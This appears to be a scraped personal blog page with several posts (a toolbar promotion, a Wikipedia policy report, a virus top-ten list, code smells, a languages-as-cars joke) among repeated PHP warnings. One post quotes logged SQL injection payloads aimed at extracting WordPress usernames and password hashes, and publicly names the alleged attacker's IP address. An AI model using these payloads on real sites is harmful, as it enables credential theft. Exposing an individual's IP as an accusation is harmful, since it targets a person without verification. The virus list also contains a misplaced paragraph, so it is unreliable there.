Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Ok , boys and girls , like some of you has already noticed , we have switched from regular rss/atom to feedburner!

From now on, all feeds are redirected to feedburner I think that you will like it more.

And , second thing that is new here is our new toolbar for Firefox and IE.

On the toolbar beside link to our site you can find:

-Personalaized search

-E-mail Notifier (Very useful gadget:D)

-Lots of gadgets that will enchance your everyday web browsing

-CHAT!

-Weather gadget that will let you check  weather in your town , or anywhere else in world!

-Radio Player!

And , last , but not least , all of you who download this toolbar will have chance to participate in beta testing of one new part of this site! No , i will not tell you what it is ,I can only tell that you will certanly like it, download the toolbar , and find out by yourslef

Download here

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Yes , one stupid son of a bitch tryed to hack us…
But , of course , hes mission was failure
For curious ones , here is hacker`s IP: 91.211.65.25
He is from UK…
And he was trying some sort of SQL Injection …
In search box he typed

1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,concat(char(37),char(95),char(37),char(95),char(37),user_login,char(37),char(95),char(37),char(95),char(37),user_pass,char(37),char(95),char(37),char(95),char(37)),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23

So , if anyone knows this particiluar person ,  please inform him/her that

Just because this site`s name is Stupid Site , it does not mean that I , owner , and admin of this site, am stupid…

Keep trying , you won`t get anywhere

UPDATE:

Wow , looks like this guy was here more than once…

I just checked all my logs searching for his Ip , And this is what i found:

“20090123″,”13:52:22″,”91.211.65.25″,”cat=999%20UNION%20SELECT%20null,CONCAT(char(37),char(95),char(37),char(95),char(37),user_pass,char(37),char(95),char(37),char(95),char(37),user_login,char(37),char(95),char(37),char(95),char(37)),null,null,null%20FROM%20wp_users/*”,”",”",”",”",”",”",”",”",”"

“20090123″,”13:52:24″,”91.211.65.25″,”cat=%2527%20UNION%20SELECT%20CONCAT(char(37),char(95),char(37),char(95),char(37),user_pass,char(37),char(95),char(37),char(95),char(37),user_login,char(37),char(95),char(37),char(95),char(37))%20FROM%20wp_users/*”,”",”",”",”",”",”",”",”",”"

“20090124″,”11:36:53″,”91.211.65.25″,”cat=999%20UNION%20SELECT%20null,CONCAT(char(37),char(95),char(37),char(95),char(37),user_pass,char(37),char(95),char(37),char(95),char(37),user_login,char(37),char(95),char(37),char(95),char(37)),null,null,null%20FROM%20wp_users/*”,”",”",”",”",”",”",”",”",”"

“20090124″,”11:36:55″,”91.211.65.25″,”cat=%2527%20UNION%20SELECT%20CONCAT(char(37),char(95),char(37),char(95),char(37),user_pass,char(37),char(95),char(37),char(95),char(37),user_login,char(37),char(95),char(37),char(95),char(37))%20FROM%20wp_users/*”,”",”",”",”",”",”",”",”",”"

“20090124″,”11:36:56″,”91.211.65.25″,”page_id=115&forumaction=showprofile&user=1+union+select+null,concat(char(37),char(95),char(37),char(95),char(37),user_login,char(37),char(95),char(37),char(95),char(37),user_pass,char(37),char(95),char(37),char(95),char(37),user_email,char(37),char(95),char(37),char(95),char(37)),null,null,null,null,null+from+wp_tbv_users/*”,”",”",”",”",”",”",”",”",”"

“20090124″,”11:37:05″,”91.211.65.25″,”page_id=13&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(char(37),char(95),char(37),char(95),char(37),user_login,char(37),char(95),char(37),char(95),char(37),user_pass,char(37),char(95),char(37),char(95),char(37))/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201″,”",”",”",”",”",”",”",”",”"

“20090127″,”19:38:35″,”91.211.65.25″,”exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,concat(char(37),char(95),char(37),char(95),char(37),user_login,char(37),char(95),char(37),char(95),char(37),user_pass,char(37),char(95),char(37),char(95),char(37)),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23″,”",”",”",”",

In first “” you can find date , and as you can see , he was here on January 23. , 24. and 27. In second “” you can see time , and as you probably noticed by now , time between requests is 1-2 seconds… So , i am guessing that he or she is using some kind of program .LAMER!

Anyway , i think that this is very good way to fight “hackers”. If you just ban them, they will come back with a proxy , but if you put their IP on a front page , they will know they FAILED!

P.S. If anyone knows any UK gov site where i ca nreport this , please post it in comments. (I am tired of googling…)

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

After years of factually questionable content and a recent “vandal” entry that falsely reported the deaths of Senators Ted Kennedy and Robert Byrd, Wikipedia is tightening up editing policies with its planned new “Flagged Revisions” system. The system will privilege registered, factually-reliable users with the same instantaneous content uploads and article revisions that Wikipedia had previously provided, while other users will have to receive approval for article edits and revisions.

A prototype for the system to be used in the US has been in use in the German Wikipedia since May 2008. Since its introduction, more than 95% of articles have been flagged for any number of reasons, with article revisions and edits oftentimes taking up to 3 weeks to appear on the live site.

Though many critics have been demanding these measures since the site began to pick up considerable traction over 5 years ago, others, who value the democratic, open source nature of the site, are already voicing their outrage. However, despite the reactionary backlash, the results of a Wikipedia community poll showed that nearly 60% of Wikipedians favored the “Flagged Revisions” system, albeit in the poll it was presented as a “time-limited test,” as opposed to a permanent change.

While there is still no word as to when or to what degree the “Flagged Revisions” system will be introduced into the English Wikipedia community, or, for that matter, how long it will last, the means and methods through which misinformation is controlled and combated here could have lasting effects in the Information Age.

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

This is the list of top ten most dangeous computer virus that the world has ever faced

CIH (1998)
Estimated Damage: 20 to 80 million dollars worldwide, countless amounts of PC data destroyed
Unleashed from Taiwan in June of 1998, CIH is recognized as one of the most dangerous and destructive viruses ever. The virus infected Windows 95, 98, and ME executable files and was able to remain resident in a PC’s memory, where it continued to infect other executables.
What made CIH so dangerous is that, shortly after activated, it would overwrite data on the host PC’s hard drive, rendering it inoperable. It was also capable of overwriting the BIOS of the host, preventing boot-up. Because it infected executable files, CIH wound up being distributed by numerous software distributors, including a demo version of an Activision game named Sin.

CIH is also known as the Chernobyl virus because the trigger date of certain strains of the virus coincides with the date of the Chernobyl nuclear reactor accident. The virus is not a serious threat today, thanks to increased awareness and the widespread migration to Windows 2000, XP, and NT, none of which are vulnerable to CIH.

Melissa (1999)
Estimated Damage: 300 to 600 million dollars
On Friday, March 26, 1999, W97M/Melissa became front-page news across the globe. Estimates have indicated that this Word macro script infected 15 to 20 percent of all business PCs. The virus spread so rapidly that Intel, Microsoft, and a number of other companies that used Outlook were forced to shut down their entire e-mail systems in order to contain the damage.

The virus used Microsoft Outlook to e-mail itself to 50 names on a user’s contact list. The e-mail message contained the sentence, “Here is that document you asked for don’t show anyone else.” with an attached Word document. Clicking open the .DOC file and thousands of unsuspecting users did so which allowed the virus to infect the host and repeat the replication. Adding insult to injury, when activated, this virus modified users’ Word documents with quotes from the animated TV show “The Simpsons.”

ILOVEYOU (2000)
Estimated Damage: 10 to 15 billion dollars
Also known as Loveletter and The Love Bug, this was a Visual Basic script with an ingenious and irresistible hook: the promise of love. On May 3, 2000, the ILOVEYOU worm was first detected in Hong Kong. The bug was transmitted via e-mail with the subject line “ILOVEYOU” and an attachment, Love-Letter-For-You.TXT.vbs. Similar to Melissa, the virus mailed itself to all Microsoft Outlook contacts.
The virus also took the liberty of overwriting music files, image files, and others with a copy of itself. More disturbingly, it searched out user IDs and passwords on infected machines and e-mailed them to its author.

Code Red (2001)
Estimated Damage: 2.6 billion dollars
Code Red was a computer worm that was unleashed on network servers on July 13, 2001. It was a particularly virulent bug because of its target: computers running Microsoft’s Internet Information Server (IIS) Web server. The worm was able to exploit a specific vulnerability in the IIS operating system. Ironically, Microsoft had released a patch addressing this hole in mid-June.
Also known as Bady, Code Red was designed for maximum damage. Upon infection, the Web site controlled by the affected server would display the message, “HELLO! Welcome to http://www.worm.com! Hacked By Chinese!” Then the virus would actively seek other vulnerable servers and infect them. This would go on for approximately 20 days, and then it would launch denial of service attacks on certain IP addresses, including the White House Web server. In less than a week, this virus infected almost 400,000 servers, and it’s estimated that one million total computers were infected .Estimated Damage: Because SQL Slammer erupted on a Saturday, the damage was low in dollars and cents. However, it hit 500,000 servers worldwide, and actually down South Korea’s online capacity for 12 hours.

SQL Slammer
Estimated cost:over $ 1billion
Also known as Sapphire, was launched on January 25, 2003. It was a doozy of a worm that had a noticeable negative impact upon global Internet traffic. Interestingly enough, it didn’t seek out end users’ PCs. Instead, the target was servers. The virus was a single-packet, 376-byte worm that generated random IP addresses and sent itself to those IP addresses. If the IP address was a computer running an unpatched copy of Microsoft’s SQL Server Desktop Engine, that computer would immediately begin firing the virus off to random IP addresses as well.

With this remarkably effective way of spreading, Slammer infected 75,000 computers in 10 minutes. The outrageously high amounts of traffic overloaded routers across the globe, which created higher demands on other routers and so on.

Blaster (2003)
Estimated Damage: 2 to 10 billion dollars,hundreds of thousands of infected PCs
The summer of 2003 was a rough time for businesses running PCs. In rapid succession, IT professionals witnessed the unleashing of both the Blaster and Sobig worms. Blaster, also known as Lovsan or MSBlast, was the first to hit. The virus was detected on August 11 and spread rapidly, peaking in just two days. Transmitted via network and Internet traffic, this worm exploited a vulnerability in Windows 2000 and Windows XP, and when activated, presented the PC user with a menacing dialog box indicating that a system shutdown was imminent.

Hidden in the code of MSBLAST.EXE — the virus’ executable ” were these messages: “I just want to say LOVE YOU SAN!!” and “billy gates why do you make this possible? Stop making money and fix your software!!

Bagle (2004)
Estimated Damage: Tens of millions of dollars…and counting
Bagle, a classic but sophisticated worm, made its debut on January 18, 2004. The malicious code infected users’ systems via the traditional mechanism — an e-mail attachment — and then scoured Windows files for e-mail addresses it could use to replicate itself.

The real danger of Bagle (a.k.a. Beagle) and its 60 to 100 variants is that, when the worm infects a PC, it opens a back door to a TCP port that can be used by remote users and applications to access data — financial, personal, anything — on the infected system. According to an April 2005 TechWeb story, the worm is “usually credited with starting the malware-for-profit movement among hackers, who prior to the ground-breaking worm, typically were motivated by notoriety.”

The Bagle.B variant was designed to stop spreading after January 28, 2004, but numerous other variants of the virus continue to plague users to this day.

Sobig.F (2003)
Estimated Damage: 5 to 10 billion dollars, over 1 million PCs infected
The Sobig worm hit right on the heels of Blaster, making August 2003 a miserable month for corporate and home PC users. The most destructive variant was Sobig.F, which spread so rapidly on August 19 that it set a record (which would later be broken by MyDoom), generating over 1 million copies of itself in its first 24 hours.
The virus infected host computers via innocuously named e-mail attachments such as application.pif and thank_you.pif. When activated, this worm transmitted itself to e-mail addresses discovered on a host of local file types. The end result was massive amounts of Internet traffic.
On September 10, 2003, the virus deactivated itself and is no longer a threat. Microsoft has announced a $250,000 bounty for anyone who identifies Sobig.F’s author, but to date, the perpetrator has not been caught.

MyDoom (2004)
Estimated Damage: At its peak, slowed global Internet performance by 10 percent and Web load times by up to 50 percent
For a period of a few hours on January 26, 2004, the MyDoom shockwave could be felt around the world as this worm spread at an unprecedented rate across the Internet via e-mail. The worm, also known as Norvarg, spread itself in a particularly devious manner: It transmitted itself as an attachment in what appeared to be an e-mail error message containing the text “Mail Transaction Failed.” Clicking on the attachment spammed the worm to e-mail addresses found in address books. MyDoom also attempted to spread via the shared folders of users’ Kazaa peer-to-peer networking accounts.

The replication was so successful that computer security experts have speculated that one in every 10 e-mail messages sent during the first hours of infection contained the virus. MyDoom was programmed to stop spreading after February 12, 2004.

Sasser (2004)
Estimated Damage: Tens of millions of dollars
Sasser began spreading on April 30, 2004, and was destructive enough to shut down the satellite communications for some French news agencies. It also resulted in the cancellation of several Delta airline flights and shut down of numerous companies’ systems worldwide.

Unlike most previous worms, Sasser was not transmitted via e-mail and required no user interaction to spread. Instead the worm exploited a security flaw in non-updated Windows 2000 and Windows XP systems. When successfully replicated, the worm would actively scan for other unprotected systems and transmit itself to them. Infected systems experienced repeated crashes and instability.
Sasser was written by a 17-year-old German high school student, who released the virus on his 18th birthday. Because he wrote the code when he was a minor, a German court found him guilty of computer sabotage but gave him a suspended sentence.

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

As time goes by, things go wrong with any body of code: we get lazy, bad developers contribute code, the original clean architecture gets forgotten, and so forth. Some bad code is easy to spot: it simply “smells” – once you see it, you know it’s bad.

Refactoring this sort of code to remove the smell isn’t often that difficult – and the time taken will be repaid next time you have to make modifications.

The following are my ten worst “odors” in code:

1. Long Functions

Over time functions often get longer and longer – extra functionality is added, edge cases are handled, and so forth. However, long functions are difficult to change, and difficult to understand.

Each function should ideally do exactly one thing: you should be able to sum it up in one sentence (and the method name should be a summary of that sentence).

If you find a function is getting too long, split it into sensible parts. Each part should follow the above rule.

2. Commented-Out Code

Some of these rules are open for debate. Not this one. I’ll go so far as to say that there is never an excuse for commenting out code.

* Are you trying to preserve some sort of history to the code? You should be using source control.
* You’re not sure if the code might be necessary: find out – and don’t commit until you’re sure.
* Perhaps you’re in the process of shotgun-debugging: step away from the code, and work out exactly what’s going on.

3. Copy-Pasted Code

Like commented out code, there’s really no excuse here. Programming IDEs should only support ‘cut’ and ‘paste’ – there’s no need for ‘copy’.

Instead of copying code, refactor it into a method, and call it. Copy-pasting is lazy – period.

4. Handled-but-Really-Unhandled Exceptions

I need to explain here: I’m not suggesting that every function should handle all exceptions that could be thrown. Rather, I think the handling of exceptions falls into two categories:

1. The function can handle a particular exception, and takes some action to correct it.
2. The function cannot handle a particular exception, and does not attempt to catch it.

What I’m referring to is code like this:

void Foo()
{
try
{
// …
}
catch( Exception e )
{
// Throw exception away, or just log it.
}
}

In general, doing nothing with an exception is a mark of bad code. If the function can’t handle it, then it shouldn’t be caught. Alternatively, if it didn’t need to be thrown, then try to amend the throwing code.

(Especially bad is throwing and catching the same exception in a single function. Exceptions should not be used for flow control; in situations like this, the entire function needs to be re-thought).

5. Large Numbers of Parameters

Functions taking large numbers of parameters (say, more than half a dozen) are usually a bad idea, and are generally indicative of either a function trying to do too much, or poor class organisation.

Often a function will grow to accommodate new functionality, and hence grows parameters. Split the function into separate, smaller, simpler functions.

Alternatively, if the function absolutely cannot be split, consider introducing a new class which encapsulates some or all of the original parameters, and passing that class as an indirect parameter.

6. Non-Obvious Names

Variable or function names such as foo or bar, swearwords, names, or otherwise clever or amusing really don’t have a place in professional code. They might make you laugh, but when someone else tries to read your code, they won’t thank you. (And remember – that ‘other’ person reading your supposedly clever code might be yourself in six months’ time).

The use of i,j,k is prrobably a little more open to debate – however their use as loop indices can usually be avoided if your language or libraries support more generic iteration constructs.

7. Deep Nesting

Just as functions shouldn’t be too long, so they shouldn’t be too wide. There’s no hard-and-fast rule, but if your conditionals or loops are nested more than about three deep, you should consider refactoring your code. Either pull the inner parts of the code into separate methods, or pull the complex conditions into functions. A line of code should never exceed approximately seventy characters (the standard editor width).

8. Beacon Comments

Sometimes you don’t even need to smell bad code – the original developer has helpfully pointed it out in the comments! If you see comments like:

// This is hacky…

// TODO: This is bad. FIX IT!

// This code ought to be refactored

…then you know something needs to be done.

9. Narcolepsy

…by which I mean inappropriate sleep() ing. If your code requires an (essentially random) sleep interval to function correctly, it’s likely to fail if the user’s machine is especially old, especially new, or just busy. Try attaching to an event that signals when the situation you want to be in occurs.

Another related smell is relying on the speed of the computer, the speed of video frames, or similar, to achieve a particular timing effect.

10. Helper Classes

This is something I’m guilty of from time to time, and I’m looking for comments as to the best way to avoid it. Helper or utility classes always seem to grow in large bodies of code, usually containing unrelated static methods. These clumps should be analysed and split or moved into classes that have one task.

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

With such a large selection of programming languages it can be difficult to choose one for a particular project. Reading the manuals to evaluate the languages is a time consuming process. On the other hand, most people already have a fairly good idea of how various automobiles compare. So in order to assist those trying to choose a language, we have prepared a chart that matches programming languages with comparable automobiles.

Assembler – A Formula I race car. Very fast, but difficult to drive and expensive to maintain.

FORTRAN II – A Model T Ford. Once it was king of the road.

FORTRAN IV – A Model A Ford.

FORTRAN 77 – A six-cylinder Ford Fairlane with standard transmission and no seat belts.

COBOL – A delivery van. It’s bulky and ugly, but it does the work.

BASIC – A second-hand Rambler with a rebuilt engine and patched upholstry. Your dad bought it for you to learn to drive. You’ll ditch the car as soon as you can afford a new one.

PL/I – A Cadillac convertible with automatic transmission, a two- tone paint job, white-wall tires, chrome exhaust pipes, and fuzzy dice hanging in the windshield

C – A black Firebird, the all-macho car. Comes with optional seat belts (lint) and optional fuzz buster (escape to assembler).

ALGOL 60 – An Austin Mini. Boy, that’s a small car.

Pascal – A Volkswagon Beetle. It’s small but sturdy. Was once popular with intellectuals.

Modula II – A Volkswagon Rabbit with a trailer hitch.

ALGOL 68 – An Austin Martin. An impressive car, but not just anyone can drive it.

LISP – An electric car. It’s simple but slow. Seat belts are not available.

PROLOG/LUCID – Prototype concept-cars.

